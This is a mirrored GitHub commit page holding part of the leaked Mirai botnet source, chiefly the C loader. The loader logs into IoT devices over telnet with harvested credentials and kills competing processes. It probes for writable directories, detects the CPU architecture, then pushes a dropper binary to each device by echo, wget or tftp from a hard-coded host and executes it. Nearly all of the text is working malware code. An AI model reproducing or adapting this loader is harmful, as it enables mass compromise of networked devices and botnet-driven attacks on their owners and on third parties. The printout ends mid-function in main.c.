1
0
mirror of https://github.com/jgamblin/Mirai-Source-Code synced 2025-07-07 20:32:51 +00:00

Code Upload

Code Upload
This commit is contained in:
Jerry Gamblin 2016-10-02 18:44:20 -05:00
commit 6a5941be68
63 changed files with 10956 additions and 0 deletions

3
README.md Executable file
View File

@ -0,0 +1,3 @@
# Mirai Botnet Client, Echo Loader and CNC source code release
This is the source code released from [here](http://hackforums.net/showthread.php?tid=5420472) as discussed in this [Brian Krebs Post](https://krebsonsecurity.com/2016/10/source-code-for-iot-botnet-mirai-released/).

BIN
loader/bins/dlr.arm Executable file

Binary file not shown.

BIN
loader/bins/dlr.arm7 Executable file

Binary file not shown.

BIN
loader/bins/dlr.m68k Executable file

Binary file not shown.

BIN
loader/bins/dlr.mips Executable file

Binary file not shown.

BIN
loader/bins/dlr.mpsl Executable file

Binary file not shown.

BIN
loader/bins/dlr.ppc Executable file

Binary file not shown.

BIN
loader/bins/dlr.sh4 Executable file

Binary file not shown.

BIN
loader/bins/dlr.spc Executable file

Binary file not shown.

BIN
loader/bins/dlr.x86 Executable file

Binary file not shown.

2
loader/build.debug.sh Executable file
View File

@ -0,0 +1,2 @@
#!/bin/bash
gcc -lefence -g -DDEBUG -static -lpthread -pthread -O3 src/*.c -o loader.dbg

2
loader/build.sh Executable file
View File

@ -0,0 +1,2 @@
#!/bin/bash
gcc -static -O3 -lpthread -pthread src/*.c -o loader

83
loader/src/binary.c Executable file
View File

@ -0,0 +1,83 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <glob.h>
#include "headers/includes.h"
#include "headers/binary.h"
static int bin_list_len = 0;
static struct binary **bin_list = NULL;
BOOL binary_init(void)
{
glob_t pglob;
int i;
if (glob("bins/dlr.*", GLOB_ERR, NULL, &pglob) != 0)
{
printf("Failed to load from bins folder!\n");
return;
}
for (i = 0; i < pglob.gl_pathc; i++)
{
char file_name[256];
struct binary *bin;
bin_list = realloc(bin_list, (bin_list_len + 1) * sizeof (struct binary *));
bin_list[bin_list_len] = calloc(1, sizeof (struct binary));
bin = bin_list[bin_list_len++];
#ifdef DEBUG
printf("(%d/%d) %s is loading...\n", i + 1, pglob.gl_pathc, pglob.gl_pathv[i]);
#endif
strcpy(file_name, pglob.gl_pathv[i]);
strtok(file_name, ".");
strcpy(bin->arch, strtok(NULL, "."));
load(bin, pglob.gl_pathv[i]);
}
globfree(&pglob);
return TRUE;
}
struct binary *binary_get_by_arch(char *arch)
{
int i;
for (i = 0; i < bin_list_len; i++)
{
if (strcmp(arch, bin_list[i]->arch) == 0)
return bin_list[i];
}
return NULL;
}
static BOOL load(struct binary *bin, char *fname)
{
FILE *file;
char rdbuf[BINARY_BYTES_PER_ECHOLINE];
int n;
if ((file = fopen(fname, "r")) == NULL)
{
printf("Failed to open %s for parsing\n", fname);
return FALSE;
}
while ((n = fread(rdbuf, sizeof (char), BINARY_BYTES_PER_ECHOLINE, file)) != 0)
{
char *ptr;
int i;
bin->hex_payloads = realloc(bin->hex_payloads, (bin->hex_payloads_len + 1) * sizeof (char *));
bin->hex_payloads[bin->hex_payloads_len] = calloc(sizeof (char), (4 * n) + 8);
ptr = bin->hex_payloads[bin->hex_payloads_len++];
for (i = 0; i < n; i++)
ptr += sprintf(ptr, "\\x%02x", (uint8_t)rdbuf[i]);
}
return FALSE;
}

657
loader/src/connection.c Executable file
View File

@ -0,0 +1,657 @@
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <pthread.h>
#include "headers/includes.h"
#include "headers/connection.h"
#include "headers/server.h"
#include "headers/binary.h"
#include "headers/util.h"
void connection_open(struct connection *conn)
{
pthread_mutex_lock(&conn->lock);
conn->rdbuf_pos = 0;
conn->last_recv = time(NULL);
conn->timeout = 10;
conn->echo_load_pos = 0;
conn->state_telnet = TELNET_CONNECTING;
conn->success = FALSE;
conn->open = TRUE;
conn->bin = NULL;
conn->echo_load_pos = 0;
#ifdef DEBUG
printf("[FD%d] Called connection_open\n", conn->fd);
#endif
pthread_mutex_unlock(&conn->lock);
}
void connection_close(struct connection *conn)
{
pthread_mutex_lock(&conn->lock);
if (conn->open)
{
#ifdef DEBUG
printf("[FD%d] Shut down connection\n", conn->fd);
#endif
memset(conn->output_buffer.data, 0, sizeof(conn->output_buffer.data));
conn->output_buffer.deadline = 0;
conn->last_recv = 0;
conn->open = FALSE;
conn->retry_bin = FALSE;
conn->ctrlc_retry = FALSE;
memset(conn->rdbuf, 0, sizeof(conn->rdbuf));
conn->rdbuf_pos = 0;
if (conn->srv == NULL)
{
printf("srv == NULL\n");
return;
}
if (conn->success)
{
ATOMIC_INC(&conn->srv->total_successes);
fprintf(stderr, "OK|%d.%d.%d.%d:%d %s:%s %s\n",
conn->info.addr & 0xff, (conn->info.addr >> 8) & 0xff, (conn->info.addr >> 16) & 0xff, (conn->info.addr >> 24) & 0xff,
ntohs(conn->info.port),
conn->info.user, conn->info.pass, conn->info.arch);
}
else
{
ATOMIC_INC(&conn->srv->total_failures);
fprintf(stderr, "ERR|%d.%d.%d.%d:%d %s:%s %s|%d\n",
conn->info.addr & 0xff, (conn->info.addr >> 8) & 0xff, (conn->info.addr >> 16) & 0xff, (conn->info.addr >> 24) & 0xff,
ntohs(conn->info.port),
conn->info.user, conn->info.pass, conn->info.arch,
conn->state_telnet);
}
}
conn->state_telnet = TELNET_CLOSED;
if (conn->fd != -1)
{
close(conn->fd);
conn->fd = -1;
ATOMIC_DEC(&conn->srv->curr_open);
}
pthread_mutex_unlock(&conn->lock);
}
int connection_consume_iacs(struct connection *conn)
{
int consumed = 0;
uint8_t *ptr = conn->rdbuf;
while (consumed < conn->rdbuf_pos)
{
int i;
if (*ptr != 0xff)
break;
else if (*ptr == 0xff)
{
if (!can_consume(conn, ptr, 1))
break;
if (ptr[1] == 0xff)
{
ptr += 2;
consumed += 2;
continue;
}
else if (ptr[1] == 0xfd)
{
uint8_t tmp1[3] = {255, 251, 31};
uint8_t tmp2[9] = {255, 250, 31, 0, 80, 0, 24, 255, 240};
if (!can_consume(conn, ptr, 2))
break;
if (ptr[2] != 31)
goto iac_wont;
ptr += 3;
consumed += 3;
send(conn->fd, tmp1, 3, MSG_NOSIGNAL);
send(conn->fd, tmp2, 9, MSG_NOSIGNAL);
}
else
{
iac_wont:
if (!can_consume(conn, ptr, 2))
break;
for (i = 0; i < 3; i++)
{
if (ptr[i] == 0xfd)
ptr[i] = 0xfc;
else if (ptr[i] == 0xfb)
ptr[i] = 0xfd;
}
send(conn->fd, ptr, 3, MSG_NOSIGNAL);
ptr += 3;
consumed += 3;
}
}
}
return consumed;
}
int connection_consume_login_prompt(struct connection *conn)
{
char *pch;
int i, prompt_ending = -1;
for (i = conn->rdbuf_pos; i >= 0; i--)
{
if (conn->rdbuf[i] == ':' || conn->rdbuf[i] == '>' || conn->rdbuf[i] == '$' || conn->rdbuf[i] == '#' || conn->rdbuf[i] == '%')
{
#ifdef DEBUG
printf("matched login prompt at %d, \"%c\", \"%s\"\n", i, conn->rdbuf[i], conn->rdbuf);
#endif
prompt_ending = i;
break;
}
}
if (prompt_ending == -1)
{
int tmp;
if ((tmp = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "ogin", 4)) != -1)
prompt_ending = tmp;
else if ((tmp = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "enter", 5)) != -1)
prompt_ending = tmp;
}
if (prompt_ending == -1)
return 0;
else
return prompt_ending;
}
int connection_consume_password_prompt(struct connection *conn)
{
char *pch;
int i, prompt_ending = -1;
for (i = conn->rdbuf_pos; i >= 0; i--)
{
if (conn->rdbuf[i] == ':' || conn->rdbuf[i] == '>' || conn->rdbuf[i] == '$' || conn->rdbuf[i] == '#' || conn->rdbuf[i] == '%')
{
#ifdef DEBUG
printf("matched password prompt at %d, \"%c\", \"%s\"\n", i, conn->rdbuf[i], conn->rdbuf);
#endif
prompt_ending = i;
break;
}
}
if (prompt_ending == -1)
{
int tmp;
if ((tmp = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "assword", 7)) != -1)
prompt_ending = tmp;
}
if (prompt_ending == -1)
return 0;
else
return prompt_ending;
}
int connection_consume_prompt(struct connection *conn)
{
char *pch;
int i, prompt_ending = -1;
for (i = conn->rdbuf_pos; i >= 0; i--)
{
if (conn->rdbuf[i] == ':' || conn->rdbuf[i] == '>' || conn->rdbuf[i] == '$' || conn->rdbuf[i] == '#' || conn->rdbuf[i] == '%')
{
#ifdef DEBUG
printf("matched any prompt at %d, \"%c\", \"%s\"\n", i, conn->rdbuf[i], conn->rdbuf);
#endif
prompt_ending = i;
break;
}
}
if (prompt_ending == -1)
return 0;
else
return prompt_ending;
}
int connection_consume_verify_login(struct connection *conn)
{
int prompt_ending = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE));
if (prompt_ending == -1)
return 0;
else
return prompt_ending;
}
int connection_consume_psoutput(struct connection *conn)
{
int offset;
char *start = conn->rdbuf;
int i, ii;
offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE));
for (i = 0; i < (offset == -1 ? conn->rdbuf_pos : offset); i++)
{
if (conn->rdbuf[i] == '\r')
conn->rdbuf[i] = 0;
else if (conn->rdbuf[i] == '\n')
{
uint8_t option_on = 0;
BOOL last_character_was_space = FALSE;
char *pid_str = NULL, *proc_name = NULL;
conn->rdbuf[i] = 0;
for (ii = 0; ii < ((char *)&conn->rdbuf[i] - start); ii++)
{
if (start[ii] == ' ' || start[ii] == '\t' || start[ii] == 0)
{
if (option_on > 0 && !last_character_was_space)
option_on++;
start[ii] = 0;
last_character_was_space = TRUE;
}
else
{
if (option_on == 0)
{
pid_str = &start[ii];
option_on++;
}
else if (option_on >= 3 && option_on <= 5 && last_character_was_space)
{
proc_name = &start[ii];
}
last_character_was_space = FALSE;
}
}
if (pid_str != NULL && proc_name != NULL)
{
int pid = atoi(pid_str);
int len_proc_name = strlen(proc_name);
#ifdef DEBUG
printf("pid: %d, proc_name: %s\n", pid, proc_name);
#endif
if (pid != 1 && (strcmp(proc_name, "init") == 0 || strcmp(proc_name, "[init]") == 0)) // Kill the second init
util_sockprintf(conn->fd, "/bin/busybox kill -9 %d\r\n", pid);
else if (pid > 400)
{
int num_count = 0;
int num_alphas = 0;
for (ii = 0; ii < len_proc_name; ii++)
{
if (proc_name[ii] >= '0' && proc_name[ii] <= '9')
num_count++;
else if ((proc_name[ii] >= 'a' && proc_name[ii] <= 'z') || (proc_name[ii] >= 'A' && proc_name[ii] <= 'Z'))
{
num_alphas++;
break;
}
}
if (num_alphas == 0 && num_count > 0)
{
//util_sockprintf(conn->fd, "/bin/busybox cat /proc/%d/environ", pid); // lol
#ifdef DEBUG
printf("Killing suspicious process (pid=%d, name=%s)\n", pid, proc_name);
#endif
util_sockprintf(conn->fd, "/bin/busybox kill -9 %d\r\n", pid);
}
}
}
start = conn->rdbuf + i + 1;
}
}
if (offset == -1)
{
if (conn->rdbuf_pos > 7168)
{
memmove(conn->rdbuf, conn->rdbuf + 6144, conn->rdbuf_pos - 6144);
conn->rdbuf_pos -= 6144;
}
return 0;
}
else
{
for (i = 0; i < conn->rdbuf_pos; i++)
{
if (conn->rdbuf[i] == 0)
conn->rdbuf[i] = ' ';
}
return offset;
}
}
int connection_consume_mounts(struct connection *conn)
{
char linebuf[256];
int linebuf_pos = 0, num_whitespaces = 0;
int i, prompt_ending = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE));
if (prompt_ending == -1)
return 0;
for (i = 0; i < prompt_ending; i++)
{
if (linebuf_pos == sizeof(linebuf) - 1)
{
// why are we here
break;
}
if (conn->rdbuf[i] == '\n')
{
char *path, *mnt_info;
linebuf[linebuf_pos++] = 0;
strtok(linebuf, " "); // Skip name of partition
if ((path = strtok(NULL, " ")) == NULL)
goto dirs_end_line;
if (strtok(NULL, " ") == NULL) // Skip type of partition
goto dirs_end_line;
if ((mnt_info = strtok(NULL, " ")) == NULL)
goto dirs_end_line;
if (path[strlen(path) - 1] == '/')
path[strlen(path) - 1] = 0;
if (util_memsearch(mnt_info, strlen(mnt_info), "rw", 2) != -1)
{
util_sockprintf(conn->fd, "/bin/busybox echo -e '%s%s' > %s/.nippon; /bin/busybox cat %s/.nippon; /bin/busybox rm %s/.nippon\r\n",
VERIFY_STRING_HEX, path, path, path, path, path);
}
dirs_end_line:
linebuf_pos = 0;
}
else if (conn->rdbuf[i] == ' ' || conn->rdbuf[i] == '\t')
{
if (num_whitespaces++ == 0)
linebuf[linebuf_pos++] = conn->rdbuf[i];
}
else if (conn->rdbuf[i] != '\r')
{
num_whitespaces = 0;
linebuf[linebuf_pos++] = conn->rdbuf[i];
}
}
util_sockprintf(conn->fd, "/bin/busybox echo -e '%s/dev' > /dev/.nippon; /bin/busybox cat /dev/.nippon; /bin/busybox rm /dev/.nippon\r\n",
VERIFY_STRING_HEX);
util_sockprintf(conn->fd, TOKEN_QUERY "\r\n");
return prompt_ending;
}
int connection_consume_written_dirs(struct connection *conn)
{
int end_pos, i, offset, total_offset = 0;
BOOL found_writeable = FALSE;
if ((end_pos = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE))) == -1)
return 0;
while (TRUE)
{
char *pch;
int pch_len;
offset = util_memsearch(conn->rdbuf + total_offset, end_pos - total_offset, VERIFY_STRING_CHECK, strlen(VERIFY_STRING_CHECK));
if (offset == -1)
break;
total_offset += offset;
pch = strtok(conn->rdbuf + total_offset, "\n");
if (pch == NULL)
continue;
pch_len = strlen(pch);
if (pch[pch_len - 1] == '\r')
pch[pch_len - 1] = 0;
util_sockprintf(conn->fd, "rm %s/.t; rm %s/.sh; rm %s/.human\r\n", pch, pch, pch);
if (!found_writeable)
{
if (pch_len < 31)
{
strcpy(conn->info.writedir, pch);
found_writeable = TRUE;
}
else
connection_close(conn);
}
}
return end_pos;
}
int connection_consume_copy_op(struct connection *conn)
{
int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE));
if (offset == -1)
return 0;
return offset;
}
int connection_consume_arch(struct connection *conn)
{
if (!conn->info.has_arch)
{
struct elf_hdr *ehdr;
int elf_start_pos;
if ((elf_start_pos = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "ELF", 3)) == -1)
return 0;
elf_start_pos -= 4; // Go back ELF
ehdr = (struct elf_hdr *)(conn->rdbuf + elf_start_pos);
conn->info.has_arch = TRUE;
switch (ehdr->e_ident[EI_DATA])
{
case EE_NONE:
return 0;
case EE_BIG:
#ifdef LOADER_LITTLE_ENDIAN
ehdr->e_machine = htons(ehdr->e_machine);
#endif
break;
case EE_LITTLE:
#ifdef LOADER_BIG_ENDIAN
ehdr->e_machine = htons(ehdr->e_machine);
#endif
break;
}
/* arm mpsl spc m68k ppc x86 mips sh4 */
if (ehdr->e_machine == EM_ARM || ehdr->e_machine == EM_AARCH64)
strcpy(conn->info.arch, "arm");
else if (ehdr->e_machine == EM_MIPS || ehdr->e_machine == EM_MIPS_RS3_LE)
{
if (ehdr->e_ident[EI_DATA] == EE_LITTLE)
strcpy(conn->info.arch, "mpsl");
else
strcpy(conn->info.arch, "mips");
}
else if (ehdr->e_machine == EM_386 || ehdr->e_machine == EM_486 || ehdr->e_machine == EM_860 || ehdr->e_machine == EM_X86_64)
strcpy(conn->info.arch, "x86");
else if (ehdr->e_machine == EM_SPARC || ehdr->e_machine == EM_SPARC32PLUS || ehdr->e_machine == EM_SPARCV9)
strcpy(conn->info.arch, "spc");
else if (ehdr->e_machine == EM_68K || ehdr->e_machine == EM_88K)
strcpy(conn->info.arch, "m68k");
else if (ehdr->e_machine == EM_PPC || ehdr->e_machine == EM_PPC64)
strcpy(conn->info.arch, "ppc");
else if (ehdr->e_machine == EM_SH)
strcpy(conn->info.arch, "sh4");
else
{
conn->info.arch[0] = 0;
connection_close(conn);
}
}
else
{
int offset;
if ((offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE))) != -1)
return offset;
if (conn->rdbuf_pos > 7168)
{
// Hack drain buffer
memmove(conn->rdbuf, conn->rdbuf + 6144, conn->rdbuf_pos - 6144);
conn->rdbuf_pos -= 6144;
}
}
return 0;
}
int connection_consume_arm_subtype(struct connection *conn)
{
int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE));
if (offset == -1)
return 0;
if (util_memsearch(conn->rdbuf, offset, "ARMv7", 5) != -1 || util_memsearch(conn->rdbuf, offset, "ARMv6", 5) != -1)
{
#ifdef DEBUG
printf("[FD%d] Arch has ARMv7!\n", conn->fd);
#endif
strcpy(conn->info.arch, "arm7");
}
return offset;
}
int connection_consume_upload_methods(struct connection *conn)
{
int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE));
if (offset == -1)
return 0;
if (util_memsearch(conn->rdbuf, offset, "wget: applet not found", 22) == -1)
conn->info.upload_method = UPLOAD_WGET;
else if (util_memsearch(conn->rdbuf, offset, "tftp: applet not found", 22) == -1)
conn->info.upload_method = UPLOAD_TFTP;
else
conn->info.upload_method = UPLOAD_ECHO;
return offset;
}
int connection_upload_echo(struct connection *conn)
{
int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE));
if (offset == -1)
return 0;
if (conn->bin == NULL)
{
connection_close(conn);
return 0;
}
if (conn->echo_load_pos == conn->bin->hex_payloads_len)
return offset;
// echo -ne 'hex' [>]> path/FN_DROPPER
util_sockprintf(conn->fd, "echo -ne '%s' %s " FN_DROPPER "; " TOKEN_QUERY "\r\n",
conn->bin->hex_payloads[conn->echo_load_pos], (conn->echo_load_pos == 0) ? ">" : ">>");
conn->echo_load_pos++;
// Hack drain
memmove(conn->rdbuf, conn->rdbuf + offset, conn->rdbuf_pos - offset);
conn->rdbuf_pos -= offset;
return 0;
}
int connection_upload_wget(struct connection *conn)
{
int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE));
if (offset == -1)
return 0;
return offset;
}
int connection_upload_tftp(struct connection *conn)
{
int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE));
if (offset == -1)
return 0;
if (util_memsearch(conn->rdbuf, offset, "Permission denied", 17) != -1)
return offset * -1;
if (util_memsearch(conn->rdbuf, offset, "timeout", 7) != -1)
return offset * -1;
if (util_memsearch(conn->rdbuf, offset, "illegal option", 14) != -1)
return offset * -1;
return offset;
}
int connection_verify_payload(struct connection *conn)
{
int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, EXEC_RESPONSE, strlen(EXEC_RESPONSE));
if (offset == -1)
return 0;
if (util_memsearch(conn->rdbuf, offset, "listening tun0", 14) == -1)
return offset;
else
return 255 + offset;
}
int connection_consume_cleanup(struct connection *conn)
{
int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE));
if (offset == -1)
return 0;
return offset;
}
static BOOL can_consume(struct connection *conn, uint8_t *ptr, int amount)
{
uint8_t *end = conn->rdbuf + conn->rdbuf_pos;
return ptr + amount < end;
}

16
loader/src/headers/binary.h Executable file
View File

@ -0,0 +1,16 @@
#pragma once
#include "includes.h"
#define BINARY_BYTES_PER_ECHOLINE 128
struct binary {
char arch[6];
int hex_payloads_len;
char **hex_payloads;
};
BOOL binary_init(void);
struct binary *binary_get_by_arch(char *arch);
static BOOL load(struct binary *bin, char *fname);

67
loader/src/headers/connection.h Executable file
View File

@ -0,0 +1,67 @@
#pragma once
#include <time.h>
#include <pthread.h>
#include "includes.h"
#include "telnet_info.h"
struct connection {
pthread_mutex_t lock;
struct server *srv;
struct binary *bin;
struct telnet_info info;
int fd, echo_load_pos;
time_t last_recv;
enum {
TELNET_CLOSED, // 0
TELNET_CONNECTING, // 1
TELNET_READ_IACS, // 2
TELNET_USER_PROMPT, // 3
TELNET_PASS_PROMPT, // 4
TELNET_WAITPASS_PROMPT, // 5
TELNET_CHECK_LOGIN, // 6
TELNET_VERIFY_LOGIN, // 7
TELNET_PARSE_PS, // 8
TELNET_PARSE_MOUNTS, // 9
TELNET_READ_WRITEABLE, // 10
TELNET_COPY_ECHO, // 11
TELNET_DETECT_ARCH, // 12
TELNET_ARM_SUBTYPE, // 13
TELNET_UPLOAD_METHODS, // 14
TELNET_UPLOAD_ECHO, // 15
TELNET_UPLOAD_WGET, // 16
TELNET_UPLOAD_TFTP, // 17
TELNET_RUN_BINARY, // 18
TELNET_CLEANUP // 19
} state_telnet;
struct {
char data[512];
int deadline;
} output_buffer;
uint16_t rdbuf_pos, timeout;
BOOL open, success, retry_bin, ctrlc_retry;
uint8_t rdbuf[8192];
};
void connection_open(struct connection *conn);
void connection_close(struct connection *conn);
int connection_consume_iacs(struct connection *conn);
int connection_consume_login_prompt(struct connection *conn);
int connection_consume_password_prompt(struct connection *conn);
int connection_consume_prompt(struct connection *conn);
int connection_consume_verify_login(struct connection *conn);
int connection_consume_psoutput(struct connection *conn);
int connection_consume_mounts(struct connection *conn);
int connection_consume_written_dirs(struct connection *conn);
int connection_consume_copy_op(struct connection *conn);
int connection_consume_arch(struct connection *conn);
int connection_consume_arm_subtype(struct connection *conn);
int connection_consume_upload_methods(struct connection *conn);
int connection_upload_echo(struct connection *conn);
int connection_upload_wget(struct connection *conn);
int connection_upload_tftp(struct connection *conn);
int connection_verify_payload(struct connection *conn);
int connection_consume_cleanup(struct connection *conn);
static BOOL can_consume(struct connection *conn, uint8_t *ptr, int amount);

36
loader/src/headers/includes.h Executable file
View File

@ -0,0 +1,36 @@
#pragma once
#include <stdint.h>
#define STDIN 0
#define STDOUT 1
#define STDERR 2
#define FALSE 0
#define TRUE 1
typedef char BOOL;
typedef uint32_t ipv4_t;
typedef uint16_t port_t;
#define LOADER_LITTLE_ENDIAN
#define ATOMIC_ADD(ptr,i) __sync_fetch_and_add((ptr),i)
#define ATOMIC_SUB(ptr,i) __sync_fetch_and_sub((ptr),i)
#define ATOMIC_INC(ptr) ATOMIC_ADD((ptr),1)
#define ATOMIC_DEC(ptr) ATOMIC_SUB((ptr),1)
#define ATOMIC_GET(ptr) ATOMIC_ADD((ptr),0)
#define VERIFY_STRING_HEX "\\x6b\\x61\\x6d\\x69"
#define VERIFY_STRING_CHECK "kami"
#define TOKEN_QUERY "/bin/busybox ECCHI"
#define TOKEN_RESPONSE "ECCHI: applet not found"
#define EXEC_QUERY "/bin/busybox IHCCE"
#define EXEC_RESPONSE "IHCCE: applet not found"
#define FN_DROPPER "upnp"
#define FN_BINARY "dvrHelper"
extern char *id_tag;

38
loader/src/headers/server.h Executable file
View File

@ -0,0 +1,38 @@
#pragma once
#include <sys/epoll.h>
#include "includes.h"
#include "telnet_info.h"
#include "connection.h"
struct server {
uint32_t max_open;
volatile uint32_t curr_open;
volatile uint32_t total_input, total_logins, total_echoes, total_wgets, total_tftps, total_successes, total_failures;
char *wget_host_ip, *tftp_host_ip;
struct server_worker *workers;
struct connection **estab_conns;
ipv4_t *bind_addrs;
pthread_t to_thrd;
port_t wget_host_port;
uint8_t workers_len, bind_addrs_len;
int curr_worker_child;
};
struct server_worker {
struct server *srv;
int efd; // We create a separate epoll context per thread so thread safety isn't our problem
pthread_t thread;
uint8_t thread_id;
};
struct server *server_create(uint8_t threads, uint8_t addr_len, ipv4_t *addrs, uint32_t max_open, char *wghip, port_t wghp, char *thip);
void server_destroy(struct server *srv);
void server_queue_telnet(struct server *srv, struct telnet_info *info);
void server_telnet_probe(struct server *srv, struct telnet_info *info);
static void bind_core(int core);
static void *worker(void *arg);
static void handle_output_buffers(struct server_worker *);
static void handle_event(struct server_worker *wrker, struct epoll_event *ev);
static void *timeout_thread(void *);

View File

@ -0,0 +1,18 @@
#pragma once
#include "includes.h"
struct telnet_info {
char user[32], pass[32], arch[6], writedir[32];
ipv4_t addr;
port_t port;
enum {
UPLOAD_ECHO,
UPLOAD_WGET,
UPLOAD_TFTP
} upload_method;
BOOL has_auth, has_arch;
};
struct telnet_info *telnet_info_new(char *user, char *pass, char *arch, ipv4_t addr, port_t port, struct telnet_info *info);
struct telnet_info *telnet_info_parse(char *str, struct telnet_info *out);

72
loader/src/headers/util.h Executable file
View File

@ -0,0 +1,72 @@
#pragma once
#include "server.h"
#include "includes.h"
#define BUFFER_SIZE 4096
#define EI_NIDENT 16 // Side of e_ident in elf header
#define EI_DATA 5 // Offset endianness in e_ident
#define EE_NONE 0 // No endianness ????
#define EE_LITTLE 1 // Little endian
#define EE_BIG 2 // Big endian
#define ET_NOFILE 0 // None
#define ET_REL 1 // Relocatable file
#define ET_EXEC 2 // Executable file
#define ET_DYN 3 // Shared object file
#define ET_CORE 4 // Core file
/* These constants define the various ELF target machines */
#define EM_NONE 0
#define EM_M32 1
#define EM_SPARC 2
#define EM_386 3
#define EM_68K 4 // m68k
#define EM_88K 5 // m68k
#define EM_486 6 // x86
#define EM_860 7 // Unknown
#define EM_MIPS 8 /* MIPS R3000 (officially, big-endian only) */
/* Next two are historical and binaries and
modules of these types will be rejected by
Linux. */
#define EM_MIPS_RS3_LE 10 /* MIPS R3000 little-endian */
#define EM_MIPS_RS4_BE 10 /* MIPS R4000 big-endian */
#define EM_PARISC 15 /* HPPA */
#define EM_SPARC32PLUS 18 /* Sun's "v8plus" */
#define EM_PPC 20 /* PowerPC */
#define EM_PPC64 21 /* PowerPC64 */
#define EM_SPU 23 /* Cell BE SPU */
#define EM_ARM 40 /* ARM 32 bit */
#define EM_SH 42 /* SuperH */
#define EM_SPARCV9 43 /* SPARC v9 64-bit */
#define EM_H8_300 46 /* Renesas H8/300 */
#define EM_IA_64 50 /* HP/Intel IA-64 */
#define EM_X86_64 62 /* AMD x86-64 */
#define EM_S390 22 /* IBM S/390 */
#define EM_CRIS 76 /* Axis Communications 32-bit embedded processor */
#define EM_M32R 88 /* Renesas M32R */
#define EM_MN10300 89 /* Panasonic/MEI MN10300, AM33 */
#define EM_OPENRISC 92 /* OpenRISC 32-bit embedded processor */
#define EM_BLACKFIN 106 /* ADI Blackfin Processor */
#define EM_ALTERA_NIOS2 113 /* Altera Nios II soft-core processor */
#define EM_TI_C6000 140 /* TI C6X DSPs */
#define EM_AARCH64 183 /* ARM 64 bit */
#define EM_TILEPRO 188 /* Tilera TILEPro */
#define EM_MICROBLAZE 189 /* Xilinx MicroBlaze */
#define EM_TILEGX 191 /* Tilera TILE-Gx */
#define EM_FRV 0x5441 /* Fujitsu FR-V */
#define EM_AVR32 0x18ad /* Atmel AVR32 */
struct elf_hdr {
uint8_t e_ident[EI_NIDENT];
uint16_t e_type, e_machine;
uint32_t e_version;
} __attribute__((packed));
int util_socket_and_bind(struct server *srv);
int util_memsearch(char *buf, int buf_len, char *mem, int mem_len);
BOOL util_sockprintf(int fd, const char *fmt, ...);
char *util_trim(char *str);

115
loader/src/main.c Executable file
View File

@ -0,0 +1,115 @@
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/socket.h>
#include <errno.h>
#include "headers/includes.h"
#include "headers/server.h"
#include "headers/telnet_info.h"
#include "headers/binary.h"
#include "headers/util.h"
static void *stats_thread(void *);
static struct server *srv;
char *id_tag = "telnet";
int main(int argc, char **args)
{
pthread_t stats_thrd;
uint8_t addrs_len;
ipv4_t *addrs;
uint32_t total = 0;
struct telnet_info info;
#ifdef DEBUG
addrs_len = 1;
addrs = calloc(4, sizeof (ipv4_t));
addrs[0] = inet_addr("0.0.0.0");
#else
addrs_len = 2;
addrs = calloc(addrs_len, sizeof (ipv4_t));
addrs[0] = inet_addr("192.168.0.1"); // Address to bind to
addrs[1] = inet_addr("192.168.1.1"); // Address to bind to
#endif
if (argc == 2)
{
id_tag = args[1];
}
if (!binary_init())
{
printf("Failed to load bins/dlr.* as dropper\n");
return 1;
}
/* wget address tftp address */
if ((srv = server_create(sysconf(_SC_NPROCESSORS_ONLN), addrs_len, addrs, 1024 * 64, "100.200.100.100", 80, "100.200.100.100")) == NULL)
{
printf("Failed to initialize server. Aborting\n");
return 1;
}
pthread_create(&stats_thrd, NULL, stats_thread, NULL);
// Read from stdin
while (TRUE)
{
char strbuf[1024];
if (fgets(strbuf, sizeof (strbuf), stdin) == NULL)
break;
util_trim(strbuf);
if (strlen(strbuf) == 0)
{
usleep(10000);
continue;
}
memset(&info, 0, sizeof(struct telnet_info));
if (telnet_info_parse(strbuf, &info) == NULL)
printf("Failed to parse telnet info: \"%s\" Format -> ip:port user:pass arch\n", strbuf);
else
{
if (srv == NULL)
printf("srv == NULL 2\n");
server_queue_telnet(srv, &info);
if (total++ % 1000 == 0)
sleep(1);
}
ATOMIC_INC(&srv->total_input);
}
printf("Hit end of input.\n");
while(ATOMIC_GET(&srv->curr_open) > 0)
sleep(1);
return 0;
}
static void *stats_thread(void *arg)
{
uint32_t seconds = 0;
while (TRUE)
{
#ifndef DEBUG
printf("%ds\tProcessed: %d\tConns: %d\tLogins: %d\tRan: %d\tEchoes:%d Wgets: %d, TFTPs: %d\n",
seconds++, ATOMIC_GET(&srv->total_input), ATOMIC_GET(&srv->curr_open), ATOMIC_GET(&srv->total_logins), ATOMIC_GET(&srv->total_successes),
